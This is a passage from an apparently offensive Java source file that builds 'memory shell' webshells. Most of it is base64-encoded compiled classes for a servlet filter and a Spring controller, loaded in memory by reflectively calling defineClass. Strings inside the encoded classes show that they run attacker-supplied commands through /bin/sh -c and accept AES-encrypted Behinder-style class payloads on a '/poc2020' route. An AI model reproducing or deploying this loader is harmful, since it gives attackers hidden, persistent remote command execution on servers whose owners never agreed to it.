ENDAEOAQ8MARABEQcBEgwBEwBwAQABLwEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAAIvQwEAEWphdmEvdXRpbC9TY2FubmVyBwEUDAEVARYMARcBGAcBGQwBGgEbDABeARwBAAJcQQwBHQEeDAEfAQ8MASABIQcBIgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMASMBDwwBIwELDAEkAQ8BAARQT1NUDAElAQ8MASYBJwEAAXUHASgMASkBKgEAA0FFUwcBKwwBLAEtAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEuAS8MATABMQEAAAwBMAEyDAEzAQ8MATQBNQwAXgE2DABlATcBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAE4ATkHAToMATsBDwwBPAE9DAE+AT8MAFwAXQEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyDAFAAUEBABBqYXZhL2xhbmcvT2JqZWN0BwFCDAFDAUQMAUUBRgcBAwwBRwFIDAFJAUoBAAZlcXVhbHMBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFLAF8HAUwMAGsBTQEAImNvbS5tZW1zaGVsbC5nZW5lcmljLk15Q2xhc3NMb2FkZXIMAU4BTwEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFQAVEHAVIMAVMAXQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVQBUQEDEHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNSTVkyOXRMMjFsYlhOb1pXeHNMMmRsYm1WeWFXTXZUWGxEYkdGemMweHZZV1JsY2pzQkFBRmpBUUFYVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc0JBQXRrWldacGJtVkRiR0Z6Y3dFQUxDaGJRa3hxWVhaaEwyeGhibWN2UTJ4aGMzTk1iMkZrWlhJN0tVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0FRQUZZbmwwWlhNQkFBSmJRZ0VBQzJOc1lYTnpURzloWkdWeUFRQUtVMjkxY21ObFJtbHNaUUVBRWsxNVEyeGhjM05NYjJGa1pYSXVhbUYyWVF3QUJnQUhBUUFpWTI5dEwyMWxiWE5vWld4c0wyZGxibVZ5YVdNdlRYbERiR0Z6YzB4dllXUmxjZ3dBRHdBYUFRQVZhbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5QVFBWEtGdENTVWtwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNBSVFBQ0FBVUFBQUFBQUFJQUFBQUdBQWNBQVFBSUFBQUFPZ0FDQUFJQUFBQUdLaXUzQUFHeEFBQUFBZ0FKQUFBQUJnQUJBQUFBQkFBS0FBQUFGZ0FDQUFBQUJnQUxBQXdBQUFBQUFBWUFEUUFPQUFFQUNRQVBBQkFBQVFBSUFBQUFSQUFFQUFJQUFBQVF1d0FDV1N1M0FBTXFBeXErdGdBRXNBQUFBQUlBQ1FBQUFBWUFBUUFBQUFnQUNnQUFBQllBQWdBQUFCQUFFUUFTQUFBQUFBQVFBQk1BRGdBQkFBRUFGQUFBQUFJQUZRPT0MAVUBVgwBVwFYAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAKmNvbS9tZW1zaGVsbC9nZW5lcmljL0R5bmFtaWNGaWx0ZXJUZW1wbGF0ZQEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABtjb20vbWVtc2hlbGwvZ2VuZXJpYy9Db25maWcBAAtnZXRQYXNzd29yZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEAFmdldEJlaGluZGVyU2hlbGxQd2RQd2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAMZ2V0QXR0cmlidXRlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAQChMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7KVYBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQANZ2V0U3VwZXJjbGFzcwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYX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"; 17 | byte[] bytes = base64Decoder.decodeBuffer(codeClass); 18 | 19 | Method method = null; 20 | Class clz = cl.getClass(); 21 | while(method == null && clz != Object.class ){ 22 | try{ 23 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 24 | }catch(NoSuchMethodException ex){ 25 | clz = clz.getSuperclass(); 26 | } 27 | } 28 | method.setAccessible(true); 29 | clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); 30 | } 31 | 32 | return clazz; 33 | } 34 | 35 | public static Class getDynamicControllerTemplateClass(){ 36 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 37 | Class clazz = null; 38 | try{ 39 | clazz = classLoader.loadClass("com.memshell.generic.DynamicControllerTemplate"); 40 | }catch(ClassNotFoundException e){ 41 | try{ 42 | BASE64Decoder base64Decoder = new BASE64Decoder(); 43 | String codeClass = "yv66vgAAADIBUQoAPgCbCgBYAJwJAJ0AnggAnwoAoAChCACiCwCjAKQIAKUKAA4ApgoApwCoCgAOAKkJAKoAqwgArAcArQgArggArwgAaAgAsAcAsQoAsgCzCgCyALQKALUAtgoAEwC3CAC4CgATALkKABMAugsAuwC8CgC9AKEKAKcAvgsAowC/CwCjAMAIAMEKAKcAwgsAowDDCADECwDFAMYIAMcKAMgAyQcAygcAywoAKACbCwDFAMwKACgAzQgAzgoAKADPCgAoANAKAA4A0QoAJwDSCgDIANMHANQKADIAmwsAowDVCgDWANcKADIA2AoAyADZCQBYANoIANsHANwHAG0HAN0KADoA3gcA3woA4ADhCgDgAOIKAOMA5AoAOgDlCADmBwDnBwDoBwDpCgBGAOoIAOsKADwA7AcA7QoAPgDuCQDvAPAHAPEKADoA8ggA8woA4wD0CgDvAPUHAPYKAFIA6gcA9woAVADqBwD4CgBWAOoHAPkBABJteUNsYXNzTG9hZGVyQ2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAwTGNvbS9tZW1zaGVsbC9nZW5lcmljL0R5bmFtaWNDb250cm9sbGVyVGVtcGxhdGU7AQAFbG9naW4BAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBAAFrAQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAOZXZpbENsYXNzQnl0ZXMBAAJbQgEACWV2aWxDbGFzcwEACmV2aWxPYmplY3QBABJMamF2YS9sYW5nL09iamVjdDsBAAx0YXJnZXRNZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcArQcAZQcA6QEACkV4Y2VwdGlvbnMBABlSdW50aW1lVmlzaWJsZUFubm90YXRpb25zAQA4TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZzsBAAV2YWx1ZQEACC9wb2MyMDIwAQAKaW5pdGlhbGl6ZQEAAmV4AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAFY2xhenoBAAZtZXRob2QBAARjb2RlAQAFYnl0ZXMBACJMamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb247AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAC1MamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbjsHAPkHAN0HAO0HANwHAPoHAPEHAPYHAPcHAPgBAApTb3VyY2VGaWxlAQAeRHluYW1pY0NvbnRyb2xsZXJUZW1wbGF0ZS5qYXZhAQArTG9yZy9zcHJpbmdmcmFtZXdvcmsvc3RlcmVvdHlwZS9Db250cm9sbGVyOwwAWwBcDACCAFwHAPsMAPwA/QEAIVsrXSBEeW5hbWljIENvbnRyb2xsZXIgc2F5cyBoZWxsbwcA/gwA/wEAAQAEdHlwZQcBAQwBAgEDAQAFYmFzaWMMAOYBBAcBBQwBBgEHDAEIAQkHAQoMAQsAZwEAAS8BABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jAQACL0MBABFqYXZhL3V0aWwvU2Nhbm5lcgcBDAwBDQEODAEPARAHAREMARIBEwwAWwEUAQACXEEMARUBFgwBFwEHBwEYDAEZARoHARsMARwBBwwBHAEDDAEdAQcBAARQT1NUDAEeAQcMAR8BIAEAAXUHASEMASIBIwEAA0FFUwcBJAwBJQEmAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAEnASgMASkBKgEAAAwBKQErDAEsAQcMAS0BLgwAWwEvDAEwATEBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAEyATMHATQMATUBBwwBNgE3DAE4ATkMAFkAWgEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyDAE6ATsBABBqYXZhL2xhbmcvT2JqZWN0BwE8DAE9AT4MAT8BQAcA+gwBQQFCDAFDAUQBAAZlcXVhbHMBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFFAFwBACJjb20ubWVtc2hlbGwuZ2VuZXJpYy5NeUNsYXNzTG9hZGVyDAFGAUcBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgwBSAFJBwFKDAFLAFoBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uDAFMAUkBAxB5djY2dmdBQUFESUFHd29BQlFBV0J3QVhDZ0FDQUJZS0FBSUFHQWNBR1FFQUJqeHBibWwwUGdFQUdpaE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3lsV0FRQUVRMjlrWlFFQUQweHBibVZPZFcxaVpYSlVZV0pzWlFFQUVreHZZMkZzVm1GeWFXRmliR1ZVWVdKc1pRRUFCSFJvYVhNQkFDUk1ZMjl0TDIxbGJYTm9aV3hzTDJkbGJtVnlhV012VFhsRGJHRnpjMHh2WVdSbGNqc0JBQUZqQVFBWFRHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNCQUF0a1pXWnBibVZEYkdGemN3RUFMQ2hiUWt4cVlYWmhMMnhoYm1jdlEyeGhjM05NYjJGa1pYSTdLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBUUFGWW5sMFpYTUJBQUpiUWdFQUMyTnNZWE56VEc5aFpHVnlBUUFLVTI5MWNtTmxSbWxzWlFFQUVrMTVRMnhoYzNOTWIyRmtaWEl1YW1GMllRd0FCZ0FIQVFBaVkyOXRMMjFsYlhOb1pXeHNMMmRsYm1WeWFXTXZUWGxEYkdGemMweHZZV1JsY2d3QUR3QWFBUUFWYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeUFRQVhLRnRDU1VrcFRHcGhkbUV2YkdGdVp5OURiR0Z6Y3pzQUlRQUNBQVVBQUFBQUFBSUFBQUFHQUFjQUFRQUlBQUFBT2dBQ0FBSUFBQUFHS2l1M0FBR3hBQUFBQWdBSkFBQUFCZ0FCQUFBQUJBQUtBQUFBRmdBQ0FBQUFCZ0FMQUF3QUFBQUFBQVlBRFFBT0FBRUFDUUFQQUJBQUFRQUlBQUFBUkFBRUFBSUFBQUFRdXdBQ1dTdTNBQU1xQXlxK3RnQUVzQUFBQUFJQUNRQUFBQVlBQVFBQUFBZ0FDZ0FBQUJZQUFnQUFBQkFBRVFBU0FBQUFBQUFRQUJNQURnQUJBQUVBRkFBQUFBSUFGUT09DAFNAU4MAU8BUAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24BAC5jb20vbWVtc2hlbGwvZ2VuZXJpYy9EeW5hbWljQ29udHJvbGxlclRlbXBsYXRlAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAbY29tL21lbXNoZWxsL2dlbmVyaWMvQ29uZmlnAQALZ2V0UGFzc3dvcmQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEAFmdldEJlaGluZGVyU2hlbGxQd2RQd2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAMZ2V0QXR0cmlidXRlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAJZ2V0UmVhZGVyAQAaKClMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAIcmVhZExpbmUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAHZG9GaW5hbAEABihbQilbQgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAFgAPgAAAAEAAgBZAFoAAAADAAEAWwBcAAEAXQAAADsAAQABAAAACSq3AAEqtwACsQAAAAIAXgAAAA4AAwAAABYABAAXAAgAGABfAAAADAABAAAACQBgAGEAAAABAGIAYwADAF0AAAKuAAcACQAAAYayAAMSBLYABSsSBrkABwIAxgCLKxIGuQAHAgASCLYACZkAeyu4AAq5AAcCAE4txgBqLbYAC5oAYwE6BLIADBINtgAJmQAaBr0ADlkDEg9TWQQSEFNZBS1TOgSnABcGvQAOWQMSEVNZBBISU1kFLVM6BLsAE1m4ABQZBLYAFbYAFrcAFxIYtgAZtgAaOgUsuQAbAQAZBbYAHKcA7Su4AB25AB4CAMYA4Su5AB8BABIgtgAJmQDLuAAhTiu5ACIBABIjLbkAJAMAEiW4ACY6BBkEBbsAJ1m7AChZtwApK7kAIgEAEiO5ACoCALYAKxIstgAttgAutgAvEiW3ADC2ADEZBLsAMlm3ADMruQA0AQC2ADW2ADa2ADc6BSq0ADgSOQW9ADpZAxI7U1kEEjxTtgA9AQW9AD5ZAxkFU1kEuAA/tgBAU7YAQcAAOjoGGQa2AEI6BxkGEkMFvQA6WQMSRFNZBBJFU7YAPToIGQgZBwW9AD5ZAytTWQQsU7YAQVenAAhOLbYAR7EAAQCnAX0BgABGAAMAXgAAAGYAGQAAABwACAAeACMAIAAtACEAOAAiADsAIwBGACQAXQAmAHEAKACNACkAmAArAKcALgC1AC8AuQAwAMcAMQDOADIA/wAzARkANAFLADUBUgA2AWkANwF9ADsBgAA5AYEAOgGFAD0AXwAAAIQADQA7AF0AZABlAAQAjQALAGYAZwAFAC0AawBoAGcAAwC5AMQAaQBnAAMAzgCvAGoAawAEARkAZABsAG0ABQFLADIAbgBaAAYBUgArAG8AcAAHAWkAFABxAHIACAGBAAQAcwB0AAMAAAGGAGAAYQAAAAABhgB1AHYAAQAAAYYAdwB4AAIAeQAAABgAB/0AXQcAegcAexP5ACYC+wDhQgcAfAQAfQAAAAQAAQBUAH4AAAAOAAEAfwABAIBbAAFzAIEAAgCCAFwAAQBdAAACAwAHAAcAAACpuAA/tgBATCorEki2AEm1ADinAH9NK7YAS04BOgQZBMcAMy0SPqUALS0SOQa9ADpZAxI7U1kEsgBMU1kFsgBMU7YAPToEp//YOgUttgBOTqf/zhJPOgW7ADJZtwAzGQW2ADY6BhkEBLYAUCoZBCsGvQA+WQMZBlNZBAO4AFFTWQUZBr64AFFTtgBBwAA6tQA4pwAYTCu2AFOnABBMK7YAVacACEwrtgBXsQAFAAcAEQAUAEoAKABFAEgATQAAAJAAkwBSAAAAkACbAFQAAACQAKMAVgADAF4AAABqABoAAABBAAcAQwARAFMAFABEABUARQAaAEYAHQBHACgASQBFAEwASABKAEoASwBPAEwAUgBPAFYAUABkAFEAagBSAJAAWgCTAFQAlABVAJgAWgCbAFYAnABXAKAAWgCjAFgApABZAKgAWwBfAAAAcAALAEoABQCDAIQABQAaAHYAhQBaAAMAHQBzAIYAcgAEA